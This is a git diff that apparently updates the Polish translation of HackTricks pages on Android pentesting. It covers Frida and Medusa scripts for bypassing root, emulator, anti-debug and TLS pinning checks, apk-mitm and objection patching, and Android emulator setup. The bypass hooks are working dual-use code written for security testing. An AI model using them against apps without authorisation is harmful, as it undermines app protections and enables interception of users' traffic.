vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -## Do wypróbowania +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index ab1684d1e..b63c6404b 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Ta strona dostarcza praktyczny workflow pozwalający odzyskać dynamiczną analizę aplikacji Android, które wykrywają/root‑blokują instrumentation lub wymuszają TLS pinning. Koncentruje się na szybkim triage, typowych detekcjach oraz copy‑pasteable hooks/tactics do ich ominięcia bez repacking, kiedy to możliwe. +Ta strona przedstawia praktyczny workflow, aby odzyskać dynamic analysis wobec aplikacji Android, które wykrywają/root‑blokują instrumentation lub wymuszają TLS pinning. Skupia się na szybkim triage, typowych wykryciach oraz copy‑pasteable hooks/tactics do ich obejścia bez repackowania, gdy to możliwe. ## Detection Surface (what apps check) @@ -18,14 +18,14 @@ Ta strona dostarcza praktyczny workflow pozwalający odzyskać dynamiczną anali - Enable DenyList, add the target package - Reboot and retest -Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks. +Wiele aplikacji szuka tylko oczywistych wskaźników (su/Magisk paths/getprop). DenyList często neutralizuje naiwne checks. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 — 30‑second Frida Codeshare tests -Try common drop‑in scripts before deep diving: +Wypróbuj common drop‑in scripts zanim zaczniesz dokładniejsze analizy: - anti-root-bypass.js - anti-frida-detection.js @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Zazwyczaj stubują sprawdzenia root/debug w Java, skanowania procesów i usług oraz natywne ptrace(). Przydatne w słabo zabezpieczonych aplikacjach; w przypadku wzmocnionych celów mogą być potrzebne dostosowane hooks. +Zazwyczaj stubują Java root/debug checks, process/service scans oraz natywne ptrace(). Przydatne w słabo zabezpieczonych aplikacjach; hardened targets mogą wymagać dostosowanych hooks. - Codeshare: https://codeshare.frida.re/ ## Automatyzacja z Medusa (Frida framework) -Medusa udostępnia 90+ gotowych modułów do SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception i innych. +Medusa oferuje 90+ gotowych modułów do SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception i innych. ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,40 +54,40 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -Wskazówka: Medusa świetnie nadaje się do szybkich zwycięstw przed napisaniem custom hooks. Możesz też cherry-pick modules i połączyć je z własnymi scripts. +Porada: Medusa świetnie nadaje się do szybkich zwycięstw przed napisaniem własnych hooks. Możesz też selektywnie wybierać modules i łączyć je z własnymi scripts. -## Krok 3 — Omijanie detektorów uruchamianych przy inicjalizacji przez późne dołączanie +## Krok 3 — Bypass init-time detectors by attaching late -Wiele wykryć uruchamia się tylko podczas process spawn/onCreate(). Spawn‑time injection (-f) lub gadgets zostają wykryte; podłączenie się po załadowaniu UI może je ominąć. +Wiele wykryć działa tylko podczas process spawn/onCreate(). Spawn‑time injection (-f) lub gadgets zostają wykryte; dołączenie po załadowaniu UI może je ominąć. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Jeśli to zadziała, utrzymaj sesję stabilną i przejdź do mapowania oraz wykonywania stub checks. +Jeśli to zadziała, utrzymaj sesję stabilną i przejdź do mapowania i sprawdzeń stubów. -## Krok 4 — Mapuj logikę wykrywania za pomocą Jadx i przeszukiwania stringów +## Krok 4 — Zmapuj logikę wykrywania za pomocą Jadx i string hunting -Słowa kluczowe do statycznego triage w Jadx: +Static triage keywords in Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" -Typowe wzorce Java: +Typowe wzorce w Java: ```java public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -Typowe API do przeglądu/hook: +Powszechne API do przeglądu/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## Krok 5 — Runtime stubbing with Frida (Java) +## Krok 5 — Runtime stubbing z Frida (Java) -Zastąp niestandardowe mechanizmy kontrolne, aby zwracały bezpieczne wartości bez przepakowywania: +Nadpisz niestandardowe zabezpieczenia, aby zwracały bezpieczne wartości bez repackingu: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Analizujesz wczesne awarie? Zrzucaj klasy tuż przed zakończeniem działania, aby wyłapać prawdopodobne przestrzenie nazw detekcji: +Triaging wczesnych awarii? Zrzucaj klasy tuż przed zakończeniem działania, żeby wychwycić prawdopodobne przestrzenie nazw odpowiedzialne za wykrywanie: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -111,7 +111,6 @@ onComplete: () => console.log('Done') }); }); ``` -``` // Quick root detection stub example (adapt to target package/class names) Java.perform(() => { try { @@ -119,9 +118,8 @@ const RootChecker = Java.use('com.target.security.RootCheck'); RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -``` -Zaloguj i zneutralizuj podejrzane metody, aby potwierdzić przebieg wykonania: +Zapisz w logu i zneutralizuj podejrzane metody, aby potwierdzić przebieg wykonania: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -133,9 +131,9 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -Typowe heurystyki: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE zawierające generic/goldfish/ranchu/sdk; artefakty QEMU takie jak /dev/qemu_pipe, /dev/socket/qemud; domyślny MAC 02:00:00:00:00:00; NAT 10.0.2.x; brak telephony/sensors. +Typowe heurystyki: pola Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE zawierające generic/goldfish/ranchu/sdk; artefakty QEMU, takie jak /dev/qemu_pipe, /dev/socket/qemud; domyślny MAC 02:00:00:00:00:00; NAT 10.0.2.x; brak telephony/sensors. -Szybkie sfałszowanie pól Build: +Szybkie podszycie się pod pola Build: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -145,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -Uzupełnij o stuby dla sprawdzeń istnienia plików oraz identyfikatorów (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), aby zwracały realistyczne wartości. +Uzupełnij o stuby dla sprawdzania istnienia plików oraz identyfikatorów (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), aby zwracały realistyczne wartości. ## SSL pinning bypass quick hook (Java) -Zneutralizuj niestandardowe TrustManagers i wymuś permisywne konteksty SSL: +Zneutralizuj niestandardowe TrustManagers i wymuś zezwalające SSL contexts: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -168,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` Notatki -- Rozszerz dla OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier as needed, or use a universal unpinning script from CodeShare. +- Rozszerz dla OkHttp: hook okhttp3.CertificatePinner i HostnameVerifier w razie potrzeby, lub użyj uniwersalnego skryptu unpinning z CodeShare. - Przykład uruchomienia: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Krok 6 — Podążaj śladem JNI/native, gdy Java hooks zawodzą +## Krok 6 — Podążaj za śladem JNI/native, gdy Java hooks zawiodą -Śledź JNI entry points, aby zlokalizować native loaders i detection init: +Śledź punkty wejścia JNI, aby zlokalizować native loaders i inicjalizację detekcji: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Szybkie natywne triage dołączonych plików .so: +Szybka natywna wstępna ocena dołączonych plików .so: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interactive/native reversing: +Interaktywne/native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Przykład: unieszkodliwienie ptrace, aby obejść prosty anti‑debug w libc: +Przykład: zneutralizować ptrace, aby obejść prosty anti‑debug w libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -209,23 +207,23 @@ Jeśli wolisz repacking zamiast runtime hooks, spróbuj: objection patchapk --source app.apk ``` Uwagi: -- Wymaga apktool; upewnij się, że masz aktualną wersję zgodnie z oficjalnym przewodnikiem, aby uniknąć problemów z budowaniem: https://apktool.org/docs/install -- Gadget injection umożliwia instrumentation bez root, ale nadal może zostać wykryte przez silniejsze init‑time checks. +- Wymaga apktool; upewnij się, że używasz aktualnej wersji według oficjalnego przewodnika, aby uniknąć problemów z budowaniem: https://apktool.org/docs/install +- Gadget injection umożliwia instrumentation bez root, ale nadal może być wykryte przez silniejsze init‑time checks. -Opcjonalnie dodaj moduły LSPosed i Shamiko dla lepszego ukrywania root w środowiskach Zygisk oraz zadbaj o DenyList, aby objąć procesy potomne. +Opcjonalnie dodaj moduły LSPosed i Shamiko dla silniejszego ukrywania root w środowiskach Zygisk i dopracuj DenyList, aby objąć procesy potomne. Referencje: - Objection: https://github.com/sensepost/objection -## Krok 8 — Plan awaryjny: Patch TLS pinning dla widoczności sieci +## Krok 8 — Fallback: Patch TLS pinning for network visibility -Jeśli instrumentation jest zablokowane, nadal możesz przeanalizować ruch, usuwając pinning statycznie: +Jeśli instrumentation jest zablokowane, nadal możesz przejrzeć ruch, usuwając pinning statycznie: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Narzędzie: https://github.com/shroudedcode/apk-mitm -- Dla sztuczek związanych z konfiguracją sieci i CA‑trust (oraz Android 7+ user CA trust), zobacz: +- W sprawie trików związanych z network config CA‑trust (i zaufania użytkownika CA w Android 7+), zobacz: {{#ref}} make-apk-accept-ca-certificate.md @@ -235,7 +233,7 @@ make-apk-accept-ca-certificate.md install-burp-certificate.md {{#endref}} -## Przydatna ściągawka poleceń +## Przydatna ściągawka z poleceniami ```bash # List processes and attach frida-ps -Uai @@ -255,12 +253,12 @@ apk-mitm app.apk ``` ## Wskazówki i uwagi -- Preferuj dołączanie (attach) później zamiast spawnowania, gdy aplikacje crashują przy uruchomieniu -- Niektóre wykrycia uruchamiają się ponownie w krytycznych przepływach (np. payment, auth) — utrzymuj hooks aktywne podczas nawigacji -- Łącz analizę statyczną i dynamiczną: wyszukaj stringi w Jadx, aby zawęzić listę klas; następnie hookuj metody, by zweryfikować je w runtime -- Zabezpieczone aplikacje mogą używać packers i native TLS pinning — spodziewaj się reverse engineeringu natywnego kodu +- Prefer attaching late zamiast spawning, gdy aplikacje crashują przy uruchomieniu +- Niektóre detekcje uruchamiają się ponownie w krytycznych przepływach (np. payment, auth) — utrzymuj hooks aktywne podczas nawigacji +- Łącz analizę statyczną i dynamiczną: wyszukaj stringi w Jadx, aby zawęzić listę klas; następnie hookuj metody, by zweryfikować w runtime +- Aplikacje hardened mogą używać packers i native TLS pinning — spodziewaj się analizy natywnego kodu -## Źródła +## References - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/) - [Frida Codeshare](https://codeshare.frida.re/) diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index d9a3e51d9..188899b7b 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,26 +1,26 @@ -# AVD - Wirtualne urządzenie Androida +# AVD - Android Virtual Device {{#include ../../banners/hacktricks-training.md}} -Bardzo dziękuję [**@offsecjay**](https://twitter.com/offsecjay) za pomoc przy tworzeniu tej treści. +Dziękuję bardzo [**@offsecjay**](https://twitter.com/offsecjay) za jego pomoc przy tworzeniu tej zawartości. -## Czym jest +## Co to jest -Android Studio pozwala **uruchamiać wirtualne maszyny Androida, których możesz użyć do testowania plików APK**. Aby z nich korzystać, będziesz potrzebować: +Android Studio pozwala **uruchamiać wirtualne maszyny Androida, których możesz użyć do testowania APK**. Aby z nich korzystać będziesz potrzebować: -- Pakiet **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Lub **Android Studio** (z Android SDK tools) - [Download here](https://developer.android.com/studio). +- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). -Na Windows (w moim przypadku) **po zainstalowaniu Android Studio** miałem **SDK Tools zainstalowane w**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Na Windowsie (w moim przypadku) **po zainstalowaniu Android Studio** miałem **SDK Tools zainstalowane w**: `C:\Users\\AppData\Local\Android\Sdk\tools` -Na macu możesz **pobrać SDK tools** i mieć je w PATH uruchamiając: +Na macOS możesz **pobrać SDK tools** i dodać je do PATH uruchamiając: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -Albo z poziomu **Android Studio GUI**, jak wskazano w [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), co zainstaluje je w `~/Library/Android/sdk/cmdline-tools/latest/bin/` i `~/Library/Android/sdk/platform-tools/` oraz `~/Library/Android/sdk/emulator/` +Lub z **Android Studio GUI**, jak wskazano w [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), które zainstaluje je w `~/Library/Android/sdk/cmdline-tools/latest/bin/` i `~/Library/Android/sdk/platform-tools/` i `~/Library/Android/sdk/emulator/` -W przypadku problemów z Java: +Dla problemów z Java: ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` @@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ### Przygotowanie maszyny wirtualnej -Jeśli zainstalowałeś Android Studio, otwórz widok główny projektu i przejdź: _**Tools**_ --> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,38 +36,38 @@ Jeśli zainstalowałeś Android Studio, otwórz widok główny projektu i przejd
-Następnie kliknij _**Create Virtual Device**_ +Then, click on _**Create Virtual Device**_
-_**select** telefon, którego chcesz użyć_ i kliknij _**Next.**_ +_**wybierz** telefon, którego chcesz użyć_ i kliknij _**Next.**_ > [!WARNING] > Jeśli potrzebujesz telefonu z zainstalowanym Play Store wybierz taki, który ma ikonę Play Store! > > -W tym widoku będziesz mógł **wybrać i pobrać obraz Androida**, na którym telefon będzie działał: +W bieżącym widoku będziesz mógł **wybrać i pobrać obraz Androida**, na którym telefon będzie działać:
-Więc wybierz go, a jeśli nie jest pobrany kliknij na symbol _**Download**_ obok nazwy (**now wait until the image is downloaded).**\ -Po pobraniu obrazu po prostu wybierz **`Next`** i **`Finish`**. +Wybierz go, a jeśli nie jest pobrany, kliknij symbol _**Download**_ obok nazwy (poczekaj, aż obraz zostanie pobrany).\ +Po pobraniu obrazu po prostu wybierz **`Next`** i **`Finish`.** -Maszyna wirtualna zostanie utworzona. Teraz **za każdym razem, gdy wejdziesz do AVD Manager, będzie ona dostępna**. +Maszyna wirtualna zostanie utworzona. Teraz **za każdym razem, gdy otworzysz AVD Manager, będzie ona dostępna**. ### Uruchamianie maszyny wirtualnej -Aby ją **uruchomić**, naciśnij _**Start button**_. +Aby ją **uruchomić**, po prostu naciśnij _**Start button**_. ![](<../../images/image (518).png>) ## Narzędzie wiersza poleceń > [!WARNING] -> Dla macOS narzędzie `avdmanager` znajdziesz w `/Users//Library/Android/sdk/tools/bin/avdmanager` a `emulator` w `/Users//Library/Android/sdk/emulator/emulator` jeśli są zainstalowane. +> Dla macOS narzędzie `avdmanager` znajdziesz w `/Users//Library/Android/sdk/tools/bin/avdmanager`, a `emulator` w `/Users//Library/Android/sdk/emulator/emulator`, jeśli masz je zainstalowane. -Przede wszystkim musisz **zdecydować, którego telefonu chcesz użyć**, aby zobaczyć listę dostępnych telefonów wykonaj: +Przede wszystkim musisz **zdecydować, którego telefonu chcesz użyć**; aby zobaczyć listę możliwych telefonów, wykonaj: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -95,16 +95,16 @@ Name: Nexus 10 OEM : Google [...] ``` -Po wybraniu nazwy urządzenia, którego chcesz użyć, musisz **zdecydować, który obraz Androida chcesz uruchomić na tym urządzeniu.**\ +Gdy już wybierzesz nazwę urządzenia, którego chcesz użyć, musisz **zdecydować, jaki obraz Androida chcesz uruchomić na tym urządzeniu.**\ Możesz wyświetlić wszystkie opcje za pomocą `sdkmanager`: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -I **pobierz** ten (lub wszystkie), które chcesz użyć za pomocą: +Następnie **pobierz** ten (lub wszystkie), których chcesz użyć za pomocą: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -Po pobraniu obrazu Android, którego chcesz użyć, możesz **wypisać wszystkie pobrane obrazy Androida** za pomocą: +Gdy pobierzesz obraz Androida, którego chcesz użyć, możesz **wyświetlić listę wszystkich pobranych obrazów Androida** za pomocą: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,11 +120,12 @@ Type: Platform API level: 29 Revision: 4 ``` -W tym momencie wybrałeś urządzenie, którego chcesz użyć i pobrałeś obraz Androida, więc **możesz utworzyć maszynę wirtualną przy użyciu**: +W tym momencie wybrałeś urządzenie, które chcesz użyć, i pobrałeś obraz Androida, więc **możesz utworzyć maszynę wirtualną za pomocą**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -W ostatnim poleceniu **utworzyłem maszynę wirtualną nazwaną** "_AVD9_" używając **urządzenia** "_Nexus 5X_" i **obrazu Androida** "_system-images;android-28;google_apis;x86_64_".\ Teraz możesz **wypisać maszyny wirtualne** które utworzyłeś poleceniem: +W ostatnim poleceniu **utworzyłem VM o nazwie** "_AVD9_" używając **urządzenia** "_Nexus 5X_" i **obrazu Android** "_system-images;android-28;google_apis;x86_64_".\ +Teraz możesz **wyświetlić listę maszyn wirtualnych** które utworzyłeś za pomocą: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -139,55 +140,55 @@ Name: Pixel_2_API_27 Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd Error: Google pixel_2 no longer exists as a device ``` -### Uruchamianie maszyny wirtualnej +### Uruchom maszynę wirtualną > [!WARNING] -> Dla macOS możesz znaleźć narzędzie `avdmanager` w `/Users//Library/Android/sdk/tools/bin/avdmanager` i `emulator` w `/Users//Library/Android/sdk/emulator/emulator`, jeśli masz je zainstalowane. +> Na macOS narzędzie `avdmanager` znajduje się w `/Users//Library/Android/sdk/tools/bin/avdmanager` a `emulator` w `/Users//Library/Android/sdk/emulator/emulator`, jeśli są zainstalowane. -Widzieliśmy już, jak wyświetlić utworzone maszyny wirtualne, ale **można je także wylistować za pomocą**: +Widzieliśmy już, jak wypisać utworzone maszyny wirtualne, ale **możesz je także wypisać używając**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -Możesz po prostu **uruchomić dowolną utworzoną maszynę wirtualną** używając: +Możesz po prostu **uruchomić dowolną utworzoną maszynę wirtualną** za pomocą: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ``` -Lub używając bardziej zaawansowanych opcji możesz uruchomić maszynę wirtualną taką jak: +Albo używając bardziej zaawansowanych opcji, możesz uruchomić maszynę wirtualną, taką jak: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` ### Opcje wiersza poleceń -Jednak istnieje **wiele różnych przydatnych opcji wiersza poleceń**, których możesz użyć do uruchomienia maszyny wirtualnej. Poniżej znajdziesz kilka interesujących opcji, a pełną listę możesz [**znaleźć tutaj**](https://developer.android.com/studio/run/emulator-commandline) +Jednak istnieje **wiele przydatnych opcji wiersza poleceń**, których możesz użyć do uruchomienia maszyny wirtualnej. Poniżej znajdziesz kilka interesujących opcji, ale możesz [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) -**Rozruch** +**Boot** - `-snapshot name` : Uruchom snapshot VM -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Wyświetl wszystkie zarejestrowane snapshoty +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Wyświetl listę wszystkich zapisanych snapshotów -**Sieć** +**Network** -- `-dns-server 192.0.2.0, 192.0.2.255` : Pozwala wskazać serwery DNS oddzielone przecinkami dla VM. -- **`-http-proxy 192.168.1.12:8080`** : Pozwala wskazać HTTP proxy do użycia (bardzo przydatne do przechwytywania ruchu przy użyciu Burp) -- Jeśli ustawienia proxy nie działają z jakiegoś powodu, spróbuj skonfigurować je wewnętrznie lub użyć aplikacji takiej jak "Super Proxy" lub "ProxyDroid". -- `-netdelay 200` : Ustaw emulowaną latencję sieciową w milisekundach. -- `-port 5556` : Ustaw numer portu TCP używany dla konsoli i adb. -- `-ports 5556,5559` : Ustaw porty TCP używane dla konsoli i adb. -- **`-tcpdump /path/dumpfile.cap`** : Zapisz cały ruch do pliku +- `-dns-server 192.0.2.0, 192.0.2.255` : Pozwala wskazać serwery DNS dla VM, rozdzielone przecinkami. +- **`-http-proxy 192.168.1.12:8080`** : Pozwala wskazać HTTP proxy do użycia (bardzo przydatne do przechwytywania ruchu za pomocą Burp) +- Jeśli ustawienia proxy z jakiegoś powodu nie działają, spróbuj skonfigurować je wewnętrznie lub użyć aplikacji takiej jak "Super Proxy" lub "ProxyDroid". +- `-netdelay 200` : Ustawia emulowaną latencję sieciową w milisekundach. +- `-port 5556` : Ustawia numer portu TCP używanego przez konsolę i adb. +- `-ports 5556,5559` : Ustawia porty TCP używane przez konsolę i adb. +- **`-tcpdump /path/dumpfile.cap`** : Zapisuje cały ruch do pliku **System** -- `-selinux {disabled|permissive}` : Ustaw moduł Security-Enhanced Linux (SELinux) w tryb disabled lub permissive. -- `-timezone Europe/Paris` : Ustaw strefę czasową dla urządzenia wirtualnego -- `-screen {touch(default)|multi-touch|o-touch}` : Ustaw tryb emulowanego ekranu dotykowego. -- **`-writable-system`** : Użyj tej opcji, aby mieć zapisywalny obraz systemu podczas sesji emulacji. Będziesz musiał także uruchomić `adb root; adb remount`. To bardzo przydatne do instalacji nowego certyfikatu w systemie. +- `-selinux {disabled|permissive}` : Ustawia moduł bezpieczeństwa Security-Enhanced Linux na disabled lub permissive na systemie Linux. +- `-timezone Europe/Paris` : Ustawia strefę czasową dla urządzenia wirtualnego +- `-screen {touch(default)|multi-touch|o-touch}` : Ustawia emulowany tryb ekranu dotykowego. +- **`-writable-system`** : Użyj tej opcji, aby mieć zapisywalny obraz systemu podczas sesji emulacji. Będziesz też musiał uruchomić `adb root; adb remount`. To bardzo przydatne do zainstalowania nowego certyfikatu w systemie. -## Konfiguracja CLI na Linuxie (SDK/AVD quickstart) +## Linux CLI setup (SDK/AVD quickstart) -Oficjalne narzędzia CLI ułatwiają tworzenie szybkich, debugowalnych emulatorów bez Android Studio. +Oficjalne narzędzia CLI ułatwiają tworzenie szybkich, możliwych do debugowania emulatorów bez Android Studio. ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -216,11 +217,11 @@ adb root adb shell whoami # expect: root ``` Notatki -- Warianty obrazów systemu: google_apis (z możliwością debugowania, pozwala na `adb root`), google_apis_playstore (nie da się uzyskać roota), aosp/default (lekki). -- Typy buildów: userdebug często pozwala na `adb root` na obrazach z możliwością debugowania. Obrazy Play Store to buildy produkcyjne i blokują roota. -- Na hostach x86_64 pełna emulacja systemu ARM64 nie jest obsługiwana od API 28+. Dla Androida 11+ użyj obrazów Google APIs/Play, które zawierają per-app ARM-to-x86 translation, aby szybko uruchamiać wiele aplikacji przeznaczonych tylko dla ARM. +- Warianty obrazów systemu: google_apis (debuggable, pozwala na `adb root`), google_apis_playstore (not rootable), aosp/default (lekki). +- Typy buildów: userdebug często pozwala na `adb root` na obrazach z możliwością debugowania. Obrazy Play Store to buildy produkcyjne i blokują root. +- Na hostach x86_64 pełna emulacja systemu ARM64 jest nieobsługiwana od API 28+. Dla Android 11+ użyj Google APIs/Play images, które zawierają tłumaczenie ARM→x86 na poziomie aplikacji, aby szybko uruchamiać wiele aplikacji przeznaczonych wyłącznie dla ARM. -### Migawki z CLI +### Snapshoty z CLI ```bash # Save a clean snapshot from the running emulator adb -s emulator-5554 emu avd snapshot save my_clean_setup @@ -228,20 +229,20 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## ARM→x86 tłumaczenie binarne (Android 11+) +## ARM→x86 translacja binarna (Android 11+) -Obrazy Google APIs i Play Store na Android 11+ potrafią tłumaczyć binaria aplikacji ARM dla każdego procesu, zachowując resztę systemu natywną (x86/x86_64). Zwykle jest to wystarczająco szybkie, by testować wiele aplikacji przeznaczonych wyłącznie dla ARM na desktopie. +Google APIs i obrazy Play Store na Android 11+ mogą translować binaria aplikacji ARM per process, pozostawiając resztę systemu natywną x86/x86_64. Często jest to wystarczająco szybkie, by testować wiele aplikacji dostępnych tylko na ARM na komputerze stacjonarnym. -> Porada: Preferuj obrazy Google APIs x86/x86_64 podczas pentests. Obrazy Play są wygodne, ale blokują `adb root`; używaj ich tylko, gdy konkretnie potrzebujesz Play services i zaakceptujesz brak root. +> Wskazówka: Preferuj obrazy Google APIs x86/x86_64 podczas pentests. Obrazy Play są wygodne, ale blokują `adb root`; używaj ich tylko wtedy, gdy konkretnie potrzebujesz Play services i akceptujesz brak root. -## Rootowanie urządzenia z Play Store +## Rooting urządzenia z Play Store -Jeśli pobrałeś urządzenie z Play Store, nie będziesz w stanie bezpośrednio uzyskać root i otrzymasz ten komunikat o błędzie +Jeśli pobrałeś urządzenie z Play Store, nie będziesz w stanie uzyskać root bezpośrednio i otrzymasz ten komunikat o błędzie ``` $ adb root adbd cannot run as root in production builds ``` -Używając [rootAVD](https://github.com/newbit1/rootAVD) z [Magisk](https://github.com/topjohnwu/Magisk) udało mi się uzyskać root (na przykład obejrzyj [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). +Używając [rootAVD](https://github.com/newbit1/rootAVD) z [Magisk](https://github.com/topjohnwu/Magisk) udało mi się uzyskać root (np. obejrzyj [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **lub** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). ## Zainstaluj certyfikat Burp @@ -254,9 +255,9 @@ install-burp-certificate.md ## Przydatne opcje AVD -### Wykonaj snapshot +### Zrób snapshot -Możesz **użyć GUI**, aby wykonać snapshot VM w dowolnym momencie: +Możesz **skorzystać z GUI**, aby w dowolnym momencie wykonać snapshot maszyny wirtualnej (VM): ![](<../../images/image (234).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 90949940c..8b9680344 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,4 +1,4 @@ -# Poradnik Frida +# Samouczek Frida {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,8 @@ Zainstaluj **frida tools**: pip install frida-tools pip install frida ``` -**Pobierz i zainstaluj** na urządzeniu z Androidem **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ Jednolinijkowe polecenie, aby zrestartować adb w trybie root, połączyć się z urządzeniem, przesłać frida-server, nadać prawa wykonywania i uruchomić go w tle: +**Pobierz i zainstaluj** na Androidzie **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +One-liner do zrestartowania adb w trybie root, połączenia się z nim, upload frida-server, nadania exec permissions i uruchomienia go w tle: 